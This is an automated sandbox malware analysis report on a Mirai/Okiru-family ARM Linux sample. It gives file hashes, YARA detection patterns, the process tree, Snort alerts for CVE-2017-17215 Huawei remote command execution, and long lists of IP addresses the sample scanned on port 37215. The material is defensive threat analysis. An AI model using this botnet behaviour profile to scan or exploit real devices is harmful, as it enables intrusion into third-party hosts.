Edit tour

Linux Analysis Report
mCS7AR9pKm.elf

Overview

General Information

Sample name:	mCS7AR9pKm.elf renamed because original name is a hash value
Original sample name:	9cf6473a2a6f3902885113c7a00cc772.elf
Analysis ID:	1428715
MD5:	9cf6473a2a6f3902885113c7a00cc772
SHA1:	e186ccd94cf170e5fa34dd1a7d5895a06878714e
SHA256:	8f0268ef84fa5d00853be66f300bf6e46ea5e30365e6a5cfa2eb377fd0544102
Tags:	32armelfgafgyt
Infos:

Detection

Mirai, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428715
Start date and time:	2024-04-19 13:06:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	mCS7AR9pKm.elf renamed because original name is a hash value
Original Sample Name:	9cf6473a2a6f3902885113c7a00cc772.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/1025@21/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/mCS7AR9pKm.elf
PID:	5551
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

mCS7AR9pKm.elf (PID: 5551, Parent: 5469, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/mCS7AR9pKm.elf

mCS7AR9pKm.elf New Fork (PID: 5553, Parent: 5551)

mCS7AR9pKm.elf New Fork (PID: 5555, Parent: 5553)

mCS7AR9pKm.elf New Fork (PID: 5556, Parent: 5553)

mCS7AR9pKm.elf New Fork (PID: 5559, Parent: 5553)

mCS7AR9pKm.elf New Fork (PID: 5560, Parent: 5553)

gnome-session-binary New Fork (PID: 5566, Parent: 1498)

sh (PID: 5566, Parent: 1498, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-print-notifications

gsd-print-notifications (PID: 5566, Parent: 1498, MD5: 71539698aa691718cee775d6b9450ae2) Arguments: /usr/libexec/gsd-print-notifications

xfce4-session New Fork (PID: 5570, Parent: 3074)

xfdesktop (PID: 5570, Parent: 3074, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 2975cc77d-4424-4c3b-abac-4708c6227ebe

xfce4-session New Fork (PID: 5573, Parent: 3074)

xfdesktop (PID: 5573, Parent: 3074, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 2975cc77d-4424-4c3b-abac-4708c6227ebe

gdm3 New Fork (PID: 5575, Parent: 1333)

Default (PID: 5575, Parent: 1333, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 5596, Parent: 1333)

Default (PID: 5596, Parent: 1333, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

xfce4-session New Fork (PID: 5599, Parent: 3074)

xfdesktop (PID: 5599, Parent: 3074, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 2975cc77d-4424-4c3b-abac-4708c6227ebe

xfce4-session New Fork (PID: 5601, Parent: 3074)

xfdesktop (PID: 5601, Parent: 3074, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 2975cc77d-4424-4c3b-abac-4708c6227ebe

xfce4-session New Fork (PID: 5606, Parent: 3074)

xfdesktop (PID: 5606, Parent: 3074, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 2975cc77d-4424-4c3b-abac-4708c6227ebe

systemd New Fork (PID: 5607, Parent: 1)

systemd-user-runtime-dir (PID: 5607, Parent: 1, MD5: d55f4b0847f88131dbcfb07435178e54) Arguments: /lib/systemd/systemd-user-runtime-dir stop 127

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
mCS7AR9pKm.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
mCS7AR9pKm.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
mCS7AR9pKm.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
mCS7AR9pKm.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x198ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19900:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19914:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19928:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1993c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19950:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19964:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19978:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1998c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x199a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x199b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x199c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x199dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x199f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5551.1.00007fdb5c017000.00007fdb5c034000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5551.1.00007fdb5c017000.00007fdb5c034000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5551.1.00007fdb5c017000.00007fdb5c034000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5551.1.00007fdb5c017000.00007fdb5c034000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x198ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19900:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19914:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19928:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1993c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19950:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19964:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19978:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1998c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x199a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x199b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x199c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x199dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x199f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19a7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: mCS7AR9pKm.elf PID: 5551	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: mCS7AR9pKm.elf PID: 5551	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: mCS7AR9pKm.elf PID: 5551	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x142:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x156:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ba:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ce:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1e2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x21e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x232:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x246:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x282:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 2 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.239.35.111

Timestamp:	04/19/24-13:08:45.265451
SID:	2835222
Source Port:	39174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.243.19.64

Timestamp:	04/19/24-13:08:41.941299
SID:	2829579
Source Port:	51582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.239.35.111

Timestamp:	04/19/24-13:08:45.265451
SID:	2829579
Source Port:	39174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 103.59.149.30

Timestamp:	04/19/24-13:08:12.486342
SID:	2835222
Source Port:	33044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.243.19.64

Timestamp:	04/19/24-13:08:41.941299
SID:	2835222
Source Port:	51582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 103.59.149.30

Timestamp:	04/19/24-13:08:12.486342
SID:	2829579
Source Port:	33044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mCS7AR9pKm.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: mCS7AR9pKm.elf	Virustotal: Detection: 50%			Perma Link
Source: mCS7AR9pKm.elf	ReversingLabs: Detection: 60%

Source: mCS7AR9pKm.elf

String: /proc/proc/%d/cmdlinewgetcurlbusybox/bin/busyboxechocatnanotfptkillallpkilltopxargspgrep

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:33044 -> 103.59.149.30:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:33044 -> 103.59.149.30:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:51582 -> 213.243.19.64:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:51582 -> 213.243.19.64:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:39174 -> 41.239.35.111:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:39174 -> 41.239.35.111:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.4.44.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.67.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.7.123.188 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 39174
Source: unknown	Network traffic detected: HTTP traffic on port 35582 -> 37215

Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.231.32.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.14.88.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.74.183.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 128.246.123.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.215.17.152:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.152.84.139:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.31.214.62:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.107.111.104:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 54.42.173.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.85.164.12:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.138.192.43:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.131.140.100:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.185.191.101:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.182.182.232:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.27.59.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.208.122.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.238.114.74:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.154.1.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.149.151.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.207.180.27:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 65.226.81.233:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.241.198.146:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 14.14.220.177:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.247.89.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.93.111.9:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.181.63.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.211.81.166:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.168.78.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.65.49.208:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 43.82.170.160:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 174.172.180.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 158.253.37.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.33.38.75:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 150.238.19.142:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 187.48.57.147:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 85.190.35.181:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 121.91.176.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 74.178.87.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 207.37.57.120:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 109.118.51.141:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.167.73.246:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.248.252.153:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.39.196.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.90.125.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.40.103.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.39.98.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.25.32.65:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.98.43.203:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 175.235.63.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.116.233.166:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.217.24.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.41.19.154:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.214.151.210:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.175.206.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.122.34.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.122.219.121:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.58.13.121:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 212.189.95.206:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.23.203.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.102.211.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.254.6.12:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.18.54.129:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.152.217.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.2.235.166:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.141.199.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.30.59.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.234.48.23:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.223.123.128:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.189.218.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.193.63.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.81.69.194:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.10.18.170:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 128.48.125.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.117.247.14:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 184.224.84.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.85.155.82:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 79.177.90.107:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 189.236.166.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 85.124.117.233:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.193.116.139:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 180.14.40.109:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.235.253.203:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 110.215.182.174:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.91.56.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.150.193.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.239.34.135:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.227.229.158:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.104.170.72:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.201.44.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.2.203.63:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 222.191.223.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.118.185.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.108.8.210:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.208.52.128:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.179.82.78:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 141.140.47.1:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.141.11.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.75.250.106:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.211.34.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 41.240.36.166:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.210.60.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.93.185.104:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 157.87.57.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:43864 -> 197.172.169.115:37215
